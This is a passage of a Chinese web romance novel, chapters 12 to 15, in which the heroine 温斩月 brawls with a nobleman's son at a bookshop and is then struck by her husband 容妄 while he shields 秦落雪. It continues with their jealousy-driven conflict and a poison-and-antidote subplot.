刚才定国公府送来的赏花宴请柬去哪了? …… 温斩月回到锦绣阁,梨落刚好算完最后一笔账。 “累死我了。”梨落瘫在榻上,一副要死不活的样子。 “你别说,夜王府家大业大,盘算下来有不少的资产呢,看来你夫君也是个大贪官,鱼肉百姓,十恶不赦。” “未必就是他。”温斩月走过来,接过梨落盘好的资产簿。 “容妄在京都中身居高位,威名远扬,想要巴结奉承他的人数不胜数,他用不着贪污,自有人将大把的钱财送来。” “就算他没贪污,受贿总是板上钉钉的事实吧。” “不是他。”温斩月笃定道:“这些事情定是展嬷嬷那个狗奴才自作主张,容妄大抵也是不知情的。” “你就别为他辩解了。”梨落抽出温斩月手里的资产簿。 “别的不说,他这夜王殿下的身份是真好用,可为你我行便宜之事,日后在京都何愁做不出来东西。” 第12章 醋坛子翻了 提起这一茬,温斩月的神色一顿。 她从怀里掏出一样东西,正是从容妄书房里顺出来的请柬。 “明日定国公府宴请京都众多贵人参加赏花宴,但其实是为了秦二小姐选夫婿,也不知定国公存了什么样的心思,给容妄也递了一份。” “他不会是想要把自己的女儿嫁给容妄做侧妃吧?”梨落大胆猜测道。 “他休想!”温斩月发狠道:“容妄是我温斩月的囊中之物,就是死,他也要和我埋在一起,谁敢跟我抢,我就杀了谁。” “不抢不抢,全是你的。”梨落接过请帖,眼珠子一转,“明天说不定是个好机会。” “我知道你要做什么。”不用梨落直说,温斩月也猜得出,“明日你和我一起去,不过,要换一身行头,不能失了王府的体面。” 从账房支了银两,温斩月打算带着梨落一起上街置办一点东西。 临走时,她吩咐春夜,若是自己回来晚了,赶不上用晚膳,便让春夜将酒柜里的梨花白温好一坛给容妄送去。 王府的马车太惹眼,温斩月并不打算兴师动众。 她和梨落换了一身飒爽的男子装扮,从王府侧门离开。 一到街上,梨落便兴奋得跟刚放出笼子的鸟一样,左边问问价,右边比比货。 “阿月阿月!京都果然是个好地方。”梨落双眼冒着精光,“在这里做生意,一定比泗水街赚得要多。” “毕竟是皇城,寸土寸金。”温斩月掂了掂手中的银两,从中取出少部分塞到自己怀里,剩下的都给了梨落。 “自己去逛吧,我去办点事。” “好,那待会逛完了,来这里会合。”梨落接过银子,转眼间便跑得连人影都看不见了。 温斩月来到一家书局,从书架上挑了几本书。 “帮我把这些包起来。” “好嘞。”书局老板拿起一旁的牛皮纸,正要将书装起来。 “且慢。”一道傲慢的声音从身后传来,“她手里的这几本书小爷我要了,双倍的价格卖给我。” “这……”掌柜的有些迟疑,“三公子,是这位小娘子先来的。” “那又如何?”男人伸出手指,“小爷我可以出三倍的价格,不对,是四倍!” “小娘子,真是对不住。”掌柜的一脸歉意,“要不就将这几本书卖给他吧,小娘子放心,多出来的钱都给娘子你,本店一分不收。” “不卖。”温斩月冷声拒绝。 男人似乎没想到有人给钱都不要,走上前去,一只手刚搭在温斩月的肩膀上,就被温斩月一脚踹翻在地。 “哎呦!”男人疼得直叫唤。 身边跟着的家丁瞬间把温斩月围了起来。 “你知道自己得罪的是谁吗?我家少爷可是定国公府的三公子秦少明,我看是你这脚不想要了,来人,把她刚才踹过少爷的腿卸下来!” “等一下,等一下。”掌柜擦擦汗,从柜台里走出来。 “大家和气生财,都是误会,这些书我也不卖钱了,就当是送给三公子的礼物,店里但凡有三公子看上的,都可以拿走。” “本公子要她!”秦少明从地上起来。 刚才只是看见了温斩月的背影,没想到正面长了一张妖精似的脸。 “只要你肯跟了小爷我,今日的事小爷便不同你计较。” “晦气。”温斩月不想与这些人纠缠,拿了书便要走。 秦少明却不依不饶,招呼人拦在温斩月身前,“你这小娘子怎么回事?没听见刚才他们说我是什么人吗?” “我不聋。” “既如此,那我劝你识相点,乖乖跟了我,保准你以后吃香喝辣。要是能将小爷我伺候好,就算小娘子要天上的星星,小爷我也会为你摘下来的。” “就你?”温斩月神情嘲讽。 “宁国公府再穷,也不至于买不起一面镜子吧。” “你什么意思?” “实在不行,秦三公子你撒泡尿自己照照呢?” “贱人,你敢嘲讽我!”秦少明怒从心起,“来人!把这个贱人给我绑了,等小爷我办了她,看她还敢不敢这么嚣张!” “你说办了谁?”温斩月猛地上前。 只听见嘎巴几声,秦少明的胳膊就被温斩月拧得错了位。 “啊!”秦少明发出惨叫声,跪倒在地,豆大的汗珠从他额头滚落,“你竟敢,你竟敢这么对我!” “为何不敢?”温斩月搬了一把椅子压在秦少明身上,她顺势坐下。 今日她只想置办一些东西,没想惹事,但这个姓秦的实在是太恶心人了,她咽不下这口气。 “别说我没给你机会。”温斩月抬头,指着秦少明身后的家丁,“你们几个,现在就回去搬救兵,我今日哪里都不去,就在这里等着。” “你们只有半炷香的时间,超过一刻,我便折他一根手指。” 秦少明在这条街上横行霸道惯了,街里街坊的百姓早就习惯,看在宁国公的面上,一直默默忍受,这也纵得秦少明越发不知收敛。 今日在温斩月这里碰了钉子,跟着秦少明的家丁一时都愣怔住了。 “还不走是等着我现在就折断他的手指吗?”说着,温斩月便真的当着所有人的面将秦少明的手指硬生生掰断了一根。 这下,秦少明彻底的昏了过去。 家丁们一看哪里敢耽搁,放下狠话,逃也似的离开了书局。 “小娘子,今日你和我怕是都难逃一死。”掌柜的瘫坐在地上,一脸的生无可恋。 定是今天做生意没看黄历,早知是这个情形,关门一日又如何,钱挣多少算多,现在好了,有命挣没命花。 礼让书局闹出的动静不小,围观的百姓也越来越多。 “这谁啊,她怎么敢这么对待秦三公子?” “不知道啊,不过看着真解气呢,往日这秦三公子仗着自己的父亲是宁国公,可没少搜刮民脂民膏,做出强抢民女的事。” “解气是解气,但这么漂亮的小娘子可惜了。” “是啊,待会宁国公府的人一来,这貌美如花的小娘子怕是要惨咯。” 街上的百姓议论纷纷,掌柜的忽然从地上起身,翻箱倒柜地搜出一些碎银和钱票包裹起来。 “姑娘,你逃吧。”掌柜把包裹递过来。 “我全部的家当都在这里了,趁着还没人来,你拿着钱赶紧跑吧,有多远逃多远。” “不用。”温斩月没想到掌柜的居然还有心思管她。 “你放心吧,今日的确有人死,但不是我们。” “姑娘你就别嘴硬了。”掌柜哭丧着一张脸,“这秦三公子尚且已经得罪不起,更何况,他家秦二小姐还从边疆回来了。” “哦?这秦二小姐有何特殊?” “姑娘你是不知道,这秦二小姐从小就被国公府送到了边疆,她是在边疆长大的,和咱们夜王殿下是名副其实的青梅竹马,整个京都城还有谁没听过夜王殿下的威名呢。” “得罪了秦三公子就等于得罪了秦二小姐,得罪了秦二小姐那就等同于得罪了夜王殿下。” “也不知道夜王殿下会不会把我们抽筋扒皮,做成人皮灯笼挂起来。” 温斩月本来只是有火,被书局掌柜几句话浇下去,硬是打翻了一坛子陈年老醋,不知怎的,她耳边又响起了青澜说的那句。 “我家王爷和秦二小姐是天造地设的一对。” 好,很好,她倒要看看,容妄能为了秦二小姐把她怎么样。 梨落逛了一整圈,添置了不少的东西,回去的路上看到众人围在一起指指点点,向来爱凑热闹的她急忙挤进去。 奈何围着的人太多,她手里又拎着不少东西,挤了半天硬是一寸没挪动。 “大婶,这里面到底发生什么事了?你能不能给我说说。” “有个小娘子要遭殃了,她打伤了定国公府的三公子,估计离死不远了。”妇人说着,叹息地摇摇头。 定国公府?梨落心里一冷,该不会…… 她找了个人少的地方挤进去,果然看到了温斩月 梨落刚想上前,步子还没迈出去便又收了回来。 眼下这个场面似乎很适合英雄救美,反正一时半会的,她家阿月也吃不了亏,不如她回去通风报信,给这对新婚小夫妻制造机会。 打定了主意,梨落从人群里退出来,脚步飞快地朝着夜王府的方向跑去。 …… 定国公府,前院。 秦落雪对完赏花宴的名单,将一张写着谢洲白的请帖扔到火盆里烧了。 一旁的丫鬟绿珠见状,语气担忧道:“小姐,您要是舍不得谢公子咱们还有机会,若是明日的赏花宴开始,国公爷跟王爷说起您的婚事,那您便再也没有退路了。” “傻绿珠。”秦落雪眉宇间笼着淡淡的忧愁。 “从我们决定回到京都开始,便再也没有退路了。” “可夜王殿下为人残忍暴戾,您要是嫁给他,那往后还能有什么好日子过!”绿珠哭得眼泪巴巴,“我看老爷就是不把小姐当人看,用小姐来笼络夜王,好一个会卖女儿的父亲!” “够了!”秦落雪厉声道:“这里是定国公府,你不要命了!” 绿珠急忙捂住嘴,害怕地朝四处张望。 第13章 你要打断我的腿? 秦落雪快步走到门前,确定没有人朝着这边看来,这才转过身,拉着绿珠的手。 “这里不是边疆,说话做事都要谨慎些,若是被有心之人听到,你和我都得死!刚才说的话以后万万不可再提半个字,否则怎么死的都不知道!” “奴婢知错了。”绿珠心里也后怕。 她在边疆时,和小姐两人相依为命,口无遮拦惯了,一时忘了这里可是京都城,稍有不慎,小命不保。 “不好了不好了,天塌了!少爷被人打了!”门外传来呼天喊地的声音。 秦落雪冷起脸,让绿珠把眼泪擦干。 她快步走至庭院前,看到家丁们慌乱地从门外逃也似的跑进来,仿佛身后有厉鬼追着索命一般。 “发生什么事了?” “回二小姐,三少爷被人打了!”秦少明的贴身书童秦江河气喘吁吁道:“二小姐不是写了一份书单给三少爷吗?他今日去礼让书局给二小姐买书,结果跟店里的一位小娘子吵起来了,那小娘子厉害得很,当场卸了三少爷的胳膊!” “你说什么?”秦落雪心中震惊。 京都城谁不知道秦少明的恶名,向来都只有秦少明欺负旁人,哪里见过旁人欺负他。 “那位小娘子可知道三少爷身份?” “知道的。”秦江河欲哭无泪,“知道少爷的身份后,那小娘子打得更狠了,还折断了少爷一根手指,我们走的时候少爷已经疼得昏过去了,那小娘子还放下狠话,给我们半炷香的时间让我们来府里求救,若是迟到一刻,她便再折断少爷一根手指。” “怎么办小姐?要不要去通知老爷?”绿珠焦急地问道。 秦落雪摇摇头。 恐怕今日这事不是能找她父亲来就可以平息的。 “找父亲没用。”秦落雪冷静的分析道:“对方知道少明的身份却并未收敛,说明她根本不把定国公府放在眼里,这样的嚣张肯定是因为她的地位远高于咱们家,如果真是我猜测的这样,就算父亲来了也解决不了,恐怕还会给父亲增添不必要的麻烦。” “那怎么办啊?总不能放着不管吧。”秦江河哭丧着脸,“那小娘子可是说了,要是迟到一刻,就要折断少爷一根手指的。” 秦落雪低垂着眸,过了好一会儿,她才解下腰间的荷包递给秦江河。 “去夜王府,找夜王殿下,就说落雪有事相求。” “好,我这就去。”秦江河收起哭丧的表情,“还得是二小姐出马,只要夜王愿意,肯定能救少爷!” 秦江河离开后,秦落雪吩咐绿珠准备马车。 虽然她也看不惯秦少明的恶劣行径,但毕竟是她秦家人,家族一荣俱荣,一损俱损,她决不允许被外人欺辱了去。 另一边,梨落回到夜王府,前去找容妄的路上碰到温落星。 “姐姐,我听王府的人说,现在夜王府是您掌家。” “是我。”梨落上下打量一番,“今日一早,我便让人送了吃食给你们院子,你还有什么需求吗?” “没有没有。”温落星急忙摆手。 “是我弟弟,他今日退了烧,可伤口还需要换药,我想跟姐姐支取一些银子,为阿玉抓几副药来。” 即便身处被动,温落星说话还是一副不卑不亢的模样。 这让梨落很是欣赏。 “喏,拿着。”她从怀里掏出一锭金子递给温落星。 温落星盯着金子,迟迟没接,“姐姐太多了,抓药要不了这么多。” “没事,多抓几副,给温如玉那个废物治治脑子。” “什么?”温落星震惊。 梨落狡黠一笑,“跟你开玩笑的,剩下的钱给自己买点衣服,姑娘家家的总穿着一套像什么样子。” “知道了,多谢姐姐。”温落星没再推辞。 看着温落星离开,梨落猛地拍了拍脑门,糟了!她咋把正事给忘了。 火急火燎地朝着容妄院子的方向跑去,快走到的门口时,刚好看到青澜和一个不认识的小厮快步离开。 看样子,像是有什么要紧事。 梨落没有多想,来到书房推开门。 书房里,容妄正在看四方递来的折子,房门被打开,他以为是温斩月来了,头也没抬道:“本王不饿,你可以先吃。” “吃什么?”梨落一脸疑惑。 容妄手一顿,抬眸,“你是……梨落?” “是我。”梨落迈进书房,看向容妄的目光是毫不掩饰的欣喜。 “不愧是我家……”意识到不对劲,梨落急忙改口道:“不愧是我家阿月的夫君,光是看着就让人喜欢。” 这话听着很别扭,容妄当即便冷下脸来。 “书房是王府重地,这一点,温斩月要你掌家时,没有告诉你吗?” “不关阿月的事。”梨落收起嬉皮笑脸,“我来是有重要的事跟你说,今日我和阿月出门采买,可阿月却被人欺负了,我就是个弱女子,帮不上什么忙,就只能先回王府搬救兵。” “你说温斩月被人欺负了?” “对啊。”梨落忙不迭的点头,“被打的很惨呢。” 容妄冷嗤一声。 果然温斩月找来的人就跟温斩月一样,全都撒谎不带脸红的。就凭温斩月的身手,放眼整个京都城,怕没有几个是她的对手。 更何况就温斩月的性子,还别人欺负她,她不欺负别人都不错了。 容妄一动不动,梨落在一旁干着急。 “王爷,您真不去看看吗?” “不去。”容妄重新拿起折子,“滚出去,把门关上。” “看来我今日是看不到英雄救美的场面了。”梨落自讨了个没趣,她不耐的撇撇嘴,从书房退出去。 梨落刚走,容妄便也起身了。 虽然他比任何人都清楚,温斩月那女人是绝不会被欺负的,可心里就是有一团东西压着,想要他一探究竟。 …… 礼让书局门前围了乌泱泱的一群人。 温斩月都等的有些不耐烦了,期间秦少明醒过来一次,又被温斩月打的疼晕了过去。 人群里有叫好的,也有担心温斩月会被宁国公府问罪的,但没有一个是觉得温斩月残忍的,反倒认为秦少明是罪有应得。 大家都兴致高昂的看好戏,直到一辆豪华的马车在书局门前停下。 “这是定国公府的马车吧,我认识他们家的这个标志。” “完了完了,这个小娘子要遭殃了,我看她生得这样好看,年纪轻轻的就这么死了,真是可惜啊。” “就是,因为秦少明这么一个人渣就搭上一条鲜活的人命,真是不值得。” “我看这个小娘子是有几分本事的,说不定她能有更大的来头呢。” 随着众人的议论,马车的帘子被掀开,秦落雪拎着裙摆从车上下来。 京都还没有见过秦落雪长什么样子,只是听说秦二小姐从边疆回来了,一看到定国公府的马车上下来这么一个美人,大家都开始猜测起来。 “这该不会就是从边疆回来的秦家二小姐吧,长得真俊呢。” “我看没错,怪不得我们残忍暴戾的夜王殿下肯为她折腰呢,生得这等绝色,若我是夜王殿下我也会喜欢的。” “这个小娘子是真惨了,她再有背景,也不可能大的过夜王殿下。” “谁说不是呢?没想到秦二小姐会来,整个京都城谁不知道秦二小姐的背后是咱们夜王殿下在撑腰。” 众人你一言,我一句,秦落雪在议论中走进书局。 温斩月为数不多的耐心早就耗光,听到这些乱七八糟的议论,心中更是烦躁。 她正欲呵斥,却瞧见一位佳人身穿素裳,朝着她走来。 北方有佳人,绝世而独立。 温斩月这一刻忽然觉得,容妄眼光的确很好。 “秦落雪。”温斩月先发制人,“早就听闻秦小姐天资绝色,今日一见,果然如此。” “姑娘客气了。”秦落雪目光瞅了一眼地上昏迷不醒的秦少明,眼底难掩厌恶。 “不知三弟怎么得罪了姑娘,竟让姑娘如此生气?” “得罪谈不上,顶多冒犯。”温斩月站起身来。 “既然秦二小姐来了,那我就给二小姐一个面子,你可以把你的这个废物弟弟领回去了,希望秦二小姐能栓好令弟,别再放出来胡乱咬人了。” 温斩月并没有为难秦落雪的打算。 虽然秦落雪和容妄的事情让她十分介意,但一码归一码,她不会因为拈酸吃醋就去为难一个女子。 转身来到柜台前,温斩月拿了自己要买的书本,便要离开。 谁知秦落雪却挡在她的身前,拦住了她的去路。 “这是,何意?”温斩月不解。 秦落雪大方得体,“三弟只是冒犯了姑娘,姑娘便将三弟打成这样,我很难跟父亲交代。” “那你的意思是?”温斩月反问。 秦落雪去看了看昏厥的秦少明,“杀人偿命,天经地义,姑娘卸了我三弟两只胳膊,折断我三弟一根手指,我也不让姑娘为难,打断一条腿即可。” “你要打断我的腿?”温斩月仿佛是听到什么笑话一样。 她要收回刚才的话,容妄的眼光并不怎么样,秦落雪只是长了一副好皮囊,骨子里和秦少明这个废物一样的愚蠢。 第14章 你,有点讨厌了 “姑娘,你赶紧答应她吧!”一旁的掌柜连滚带爬地过来,“你得罪了定国公府,秦二小姐只是要你一条腿,这很划算了。” “照你的意思,我还得感恩戴德,求她打断我的腿?” “姑娘,你就听我一句劝吧,没一条腿总比没命的要好,你还这么年轻,死了多可惜。”掌柜苦口婆心的劝说道。 温斩月只觉得无语至极。 这京都城果然是能刷新她的眼界。 “二姐,二姐,你终于来了!”不知何时,晕过去的秦少民忽然醒了过来,抓着秦洛雪的裙摆就开始嚎丧。 “二姐,你一定要替我杀了这个贱人!” “成天打打杀杀的像什么样子。”秦洛雪抽出裙摆,“我已经决定打断她一条腿作为打伤你的代价,此事不用再追究了。” “不行!一定要杀了她,我才能咽得下这口恶气!”秦少民怒火冲天,猩红着双眼盯着一旁的温斩月。 “小贱人你死定了,今日绝不让你活着离开!” “哦?”温斩月拖长语调,“我倒要看看,今日谁敢拦我。” 她打定了主意不和这群傻逼纠缠,自然也就不会浪费时间,可秦家人似乎不懂得什么叫做见好就收。 “你别走!”绿珠冲上前去。 她的手还没碰到温斩月,就被一道劲风击飞。 绿珠只是个不会武功的普通人,当即便吐了血,秦洛雪见状,眸色一暗。 “你竟敢挡着我的面杀人?” “你要是再拦我,我连你一块杀。”温斩月说完,便要离开。 人刚跨出书局的门槛,就看到之前离开的秦家小厮朝着她扑过来,温斩月立住脚步,微微歪着头。 “这是搬了新的救兵?” “你死定了,臭婊子!”秦江河跑得上气不接下气,“我二小姐可是有夜王殿下撑腰的,今日一定扒下你的一层皮!” “夜王殿下?”温斩月双手环胸,好整以暇地看着小厮身后的青澜。 “你是来替他们出气的?” 青澜有些懵逼,他看到小厮手里的荷包,想着在边疆时自家王爷和秦小姐的情分,便想着前来看看。 但谁能想到,欺负秦小姐的人会是他家王妃啊。 “你还愣着干什么?她就是打伤三少爷又欺负二小姐的人,还不快杀了她,好给我们三少爷报仇!”秦江河催促道。 青澜额头已经渗出了细密的汗珠。 “你闭嘴吧。”青澜咬牙切齿道:“我可没本事杀了她,你有这个本事,你自己上。” “既然你不是替他们出气的,那我可走了昂。”温斩月意味深长的看了青澜一眼,正欲离开,身后的秦洛雪却再一次不知死活地拦在了她面前。 “不许走,今日你一定要给个说法。” “你,有点讨厌了。”温斩月眼底闪过一丝锋芒。 她不予理会胡搅蛮缠的秦洛雪,想要再次离开,秦洛雪却不依不饶,温斩月的耐心耗尽,当即就给了秦洛雪一掌。 但秦洛雪没飞出去,而是落在了一个男人的怀里。 还是她温斩月的男人。 “闹什么?”容妄搂着秦洛雪,目光冷冷的看向温斩月。 “京都城不是你胡闹的地方?” “我胡闹?”温斩月只觉得醋意和怒火交缠,烧得她五脏六腑都开始撕裂开来,“王爷怎么不问问你怀里的美人,整件事情究竟是因何而起?” “不管怎么样,你都不该出手伤人。” “你护她?”温斩月的理智全无,“那我倒要看看,你能不能护得住她!” 温斩月和容妄自成亲以来,都是小打小闹,还没有正儿八经地交过手,两人打起来见招拆招,竟难分上下。 “够了!”容妄钳制住温斩月,“你到底要干什么?” “杀了她。”话落,温斩月挣脱容妄,朝着秦洛雪逼近。 容妄想都没想,手里的劲风直接朝着温斩月扫去。 他本以为温斩月会躲开,没想到却硬生生的接下他这一掌,刚才还嚣张狂妄的女人瞬间就吐了血。 “你……”容妄心头微震。 她怎么又不躲? “你为了她伤我?”温斩月痛得直不起腰。 她刚才没想真的杀了秦洛雪,只是想看看容妄的态度。 只是这态度,真让她失望。 话本子说得果然没错,天降就是比不过竹马。 捡起一本本散落在地上的书籍,温斩月踉跄着离开。 这一幕实在是太难堪了,她这么高傲,再待下去怕是会真的控制不住杀了秦洛雪。 容妄可以恨她,但不能因为旁人恨她。 看着温斩月的背影消失,容妄心里好像有什么东西破土而出,在悄摸摸的发芽。 “多谢王爷相救。”秦洛雪落落大方的行礼。 想起刚才惊险的一幕,双腿到现在还是发着软的,但她没再提温斩月,刚才的情形傻子也看的出来温斩月和夜王关系匪浅。 秦洛雪不傻,但总有傻子来往枪口上撞。 “夜王殿下你总算来了,可千万不能让那个小贱人跑了,她刚才打伤我家少爷,又来欺辱我家小姐,这口气我们秦家可咽不下去!”秦江河跑上前来,自顾自的说道。 秦落雪眼神一沉,暗道不好。 “闭嘴!”她上前一步,想要拦在秦江河面前。 可容妄比她快一步,直接遏制住秦江河的喉咙,将人提了起来,“你刚才叫她什么?” 秦江河翻着白眼,一个字都说不出来。 “王爷。”青澜快步走过来,“这里是闹市,别大动干戈。” 容妄冷嗤,“本王会在意这个?” “王爷。”秦落雪急忙求情,“他是我府上小厮,得罪了王爷死不足惜,但还请王爷手下留情,让落雪带回去自行处置。” “本王给你这个面子。”容妄松开手。 秦江河瘫在地上,大口大口地喘着粗气。 刚才从鬼门关里走了一遭,他现在是什么话都不敢乱说了。 容妄眸光扫了一眼被卸了胳膊的秦少明。 “青澜,送三公子就医,药费从王府账房里支取。” “是。”青澜点头,走进书局连拖带拽地把秦少明架起来,然后朝着最近的药店走去。 处理了这档子事,容妄也不多纠缠。 朝着秦落雪点头,随即离开。 刚才容妄出现时,周围的百姓全都躲得远远的,生怕自己一个不小心就被误伤了。 等到容妄离开,他们才再度凑上来。 “怎么回事?夜王殿下没有杀了那小娘子,反而就这么轻飘飘地揭过了。” “谁说不是呢,不仅如此,殿下还替那小娘子赔了医药费,我看两人关系匪浅,说不定是殿下的心上人呢。” “你胡说什么?我看殿下还是喜欢秦二小姐的,否则,怎么会为了秦二小姐打伤那位小娘子呢。” “唉,我忽然想起一件事,之前夜王府张灯结彩,有迎亲的队伍往夜王府里抬进去一顶花轿。” “你说刚才那个小娘子是夜王妃?” “不会吧,要是夜王妃估计夜王殿下早就大肆操办了,估计是个没什么位分的侍妾吧。” 众人的议论秦落雪听得清清楚楚。 她眼中思虑深重,片刻,朝着虚弱的绿珠道:“等你伤好了,去探探青澜的口风,我要知道那女子到底是个什么身份。” “是,小姐。”绿珠擦掉嘴角的血迹。 在边疆时,她经常给青澜缝补衣服,这点面子青澜肯定会给她的。 …… 锦绣阁内,梨落把置办回来的东西一一归纳。 她刚要让春夜把东西收拾起来,就看到温斩月怒气冲冲地从外面走进来,刚一进门,便踹翻了桌椅。 春夜吓得双腿一软,直接跪下。 梨落见势不妙,暗暗朝着春夜摆摆手,示意春夜离开。 “这是谁惹我的心肝宝贝了啊。”梨落急忙拎起茶壶倒了一杯茶水,殷勤地给温斩月端过去。 “来,喝杯茶,消消火。” “不喝。”温斩月捂着心口。 容妄那一掌又猛又急,她现在感觉好难受,但她再难受,都抵不过心底的醋意肆虐。 “你受伤了?”梨落眼尖地瞧见温斩月的胸前有点点血迹。 “容妄不是替你撑腰去了吗?怎么还会受伤?”她忽然有一种很不好的预感,该不会自己好心办坏事了吧。 温斩月发了狠,几乎咬碎一口银牙。 “替我撑腰?他怕是恨不得将我拆骨扒皮,碎尸万段。”温斩月抬眸看向梨落,“你知道我身上的伤怎么来的吗?就是他打的!” “这……”梨落面上闪过一丝尴尬。 “他伤你也不是一天两天了,用得着这么生气吗?再说了,不是你说这是你们夫妻间的情趣吗?那脖子上,手臂上,不都是出自容妄之手?” “这次不一样。”温斩月双手握紧。 “他是因为秦落雪伤我。” “什么?”梨落对那位素未谋面的秦二小姐充满了同情,“既然如此,你是不是打算杀了秦落雪?” “我杀了她有什么用,没了一个秦落雪,还会有林落雪,张落雪,只要容妄愿意,他总能喜欢上别人。” “这倒是也没错。” “所以我决定了。”温斩月唇角勾笑,“三日欢的毒还不够,我要挑了容妄的脚筋,废掉他的武功,然后找个铁链把他锁起来,从此以后,让他的眼里只能看到我一个,我不信,就这样他还能喜欢上别人!” 第15章 她的死跟本王有什么关系? 饶是梨落再怎么把温斩月当成心肝宝,也被这番话震惊到了,虽然早就知道她家阿月喜欢人的方式不一样,但这种病娇强制爱千万不能放在容妄身上。 否则,她家阿月的下场…… 梨落急忙走上前,给温斩月捏肩捶背似的讨好。 “阿月,你可千万不能这么想,别忘了我父亲交代的事,你要是现在就把容妄废了,那我们在京都城还怎么行事啊?” “你的意思是要我眼睁睁地看着他和秦落雪情意浓浓?然后什么也不做?” 这个画面,光是想一想,温斩月就已经妒火中烧了。 梨落急忙否认,“当然不是了,只是我觉得容妄未必就喜欢那秦二小姐,可能只是在边疆的儿时情谊,你嫁给他这几日想必也清楚,容妄并非外界传言的那般冷酷无情,他念着儿时情谊去帮秦落雪,这也说得过去。” “苏梨落。”温斩月抓住梨落的手。 “我怎么觉得你比我还要了解容妄?” “有吗?”梨落尴尬地缩回手,“害,说这个干嘛,你又不是不知道我的能力,我的消息网遍布天下,对他多有了解也正常,再说了,展嬷嬷那个阴坏的老不死都那样坑容妄了,容妄还留她一命在王府混吃等死,足以说明外界传言都是假的。” 梨落的话极大地安抚了温斩月躁动不堪的心。 她闭上眼,脑子里全是容妄为了救秦落雪而对她出手的场面,她能忍着没杀秦落雪,就是不希望容妄因为旁人去记恨她。 心口隐隐作痛,温斩月解开衣裳,胸口处青紫一片,可想而知,内伤有多严重。 “嘶!”梨落倒吸一口凉气。 看到温斩月站立着走进来,她还以为伤没多严重呢。 “容妄这是在下死手啊!”梨落急忙扶着温斩月走到软榻前躺下,“你感觉怎么样?要不要去请大夫?” “不用。”温斩月往嘴里送了一颗药丸。 “你帮我盯着,从今晚到明早,都不许任何人靠近我。” “你放心,有我在,保准没人敢靠近你半分。”梨落拍着胸脯保证道。 随着温斩月陷入昏迷,锦绣阁也重归宁静。 容妄从外面回来后直接去了锦绣阁,算算时间,马上快到三日欢毒发的时辰了,但刚才他重伤了那女人,怕是得不到解药。 与其等着那女人要挟他,不如他主动一些。 春夜在锦绣阁的门口来回徘徊,马上就快要到用晚膳的时间了,可王妃吩咐过,自己没回来的话才送酒给王爷,现在王妃回来了,这酒她是送还是不送? 春夜心中正迟疑着,结果余光瞥见自家王爷正朝着锦绣阁走来。 “奴婢参见王爷!” 容妄直接略过春夜,大步流星地迈进锦绣阁。 梨落在床边守着温斩月,看到容妄走来,她起身刚要迎上去,就被容妄大手一挥,掀翻在地。 操,真疼。 梨落蹙着眉,忍不住骂娘。 但她还是费劲地爬起来,在容妄动手之前,拦在床边。 “你别动她,她受了伤,很严重。” “起开。”容妄阴冷着脸,他能感觉到体内的三日欢已经在蠢蠢欲动了。 梨落死活不让,容妄直接武力碾压。 然后就看到梨落跟一道优美的抛物线一样,华丽丽的滚到了一旁。 “别装死,温斩月。”容妄揪住温斩月的衣领,“三日欢的解药在哪?你要不说,本王现在就送你去见阎王!” 床上的温斩月双眸紧蹙,好像很难受。 但容妄已经顾不上这么多了,他将温斩月拖下床,一旁的梨落见状,急忙凑上前拦住。 “她挨了你那一掌,受了很重的伤,你再这样折腾她,她会死的!” “她的死活跟本王有什么关系?”话虽这样说,那容妄还是停下动作,朝着手里的人看过去。 恰逢温斩月一口黑血吐出,彻底晕厥过去。 “阿月!”梨落顾不上自己的疼痛,从容妄手里抢过温斩月,将人拖到床上摆放好。 “一定会没事的,阿月,你一定会没事的!” 黑色浓稠的血液充斥着容妄的眼眸,他说不上来是一种什么感觉,好像有什么东西从他身体里抽离出来。 他想阻止,但来不及。 三日欢的毒猛地向他袭来,容妄扑通一声,半跪在床边。 “你又怎么了?”梨落被容妄的反应弄得猝不及防,灵光乍现间想起来,容妄身上还有三日欢的毒。 这会儿,应该是毒发了。 “真服了你们这一个两个的,就会给人找事。”梨落站起身来,快步走到酒柜前,从里面随意取了一壶梨花白。 临走之前,她听见阿月吩咐过春夜,想来解药应该是藏在酒里。 将梨花白给容妄服下,梨落急忙去看昏迷不醒的温斩月。 服下解药的容妄舒服了好多,他呼出一口气,目光幽幽地看向床上昏迷不醒的人,一双好看的墨瞳里尽显诧异。 今日那一下他确定温斩月能躲开,不能躲,肯定是有什么后招。 但如今看来,就只是在赌气。 这个女人到底想要做什么?难道是想要用这种自毁的方式让他愧疚吗?真是可笑,他容妄是什么人,别说是误伤了,就算是误杀,他心中也不会有半分愧疚。 只不过…… 容妄目光转移到地上黑色浓稠的血液,心中微微发痒。 像是有一颗罂粟花的种子落在了他的心底,被这黑色的血液浇灌,慢慢地在他心底生了根,发了芽。 这感觉很难形容,但容妄并不排斥。 “本王会找人救她,她不会死的。”容妄也不知道自己为什么要多嘴这一句。 临走之时,吩咐人将锦绣阁的酒柜直接搬去了书房。 这些梨花白,够他抗一阵子了。 说到底,卢正义还是太废物了,饭菜送去了这么久,竟还没有研究出解药,真是该死。 …… 卢太医已经连着闭关三天了,但解药一事,迟迟没有什么进展。 听到夜王府的人找他,他还以为是夜王催着他交解药,结果到了夜王府后才知道是要他为王妃治病。 替床上的人把过脉后,卢太医脸上的表情精彩纷呈,比调色盘还要好看些。 “老夫行医多年,从来都没有见过这么奇怪的脉象啊。”卢太医满脸的不可置信,“她身上的伤和毒多到老夫都有些数不清了,每一样毒单独拎出来都可以让人立刻毙命,但她居然还能存活至今,真是千古奇事!” “她只是被震伤了心脉,你开一些修补心脉的方子即可。”梨落艰难地说着话,随后又将自己的手伸过去。 “我好像也受伤了,你给瞧瞧,顺便给我也开几服药。” “只要修补心脉的药方?”卢正义还是觉得稀奇,他还想要看得再真切些,却被梨落一把拽起来。 “我说什么就是什么,现在夜王府是我掌家,你快给我瞧瞧,要是我死了,你也别想活。”梨落出言威胁道。 卢太医没再纠缠,给梨落把脉后,写了两张方子递过去。 “按照这个,三碗水煎一碗,一日五次。” “五次?”梨落尖叫,“你真把我当日……药罐子了?” “这个是王妃的,你的那个一日一次就可。”卢太医装好药箱,“记得,一日五次,一次都不能少,否则,王妃恐有性命之忧。” 梨落捏着药方愣在原地。 她家阿月现在昏迷不醒,这一日五次的汤药,她要如何给灌下去? …… 卢太医离开锦绣阁后便被人请到了书房,在里面待了足足一个时辰才离开。 卢太医刚走,青澜便回来了。 他将今日发生在礼让书局的事一字不差,原原本本地说了出来,并没有因为秦落雪的关系而徇私。 “王爷,这次还真不怪王妃,是秦三公子先挑事,王妃才动手的。” “本王知道了。”容妄心不在焉。 他脑子里想的是另外一件事。 卢正义的医术放眼整个京都城,没有人可以匹敌,他说的话,就算没有十成十的有把握,但九分总该是有的。 那女人曾经到底经历过什么,体内为何会有那么多种毒? 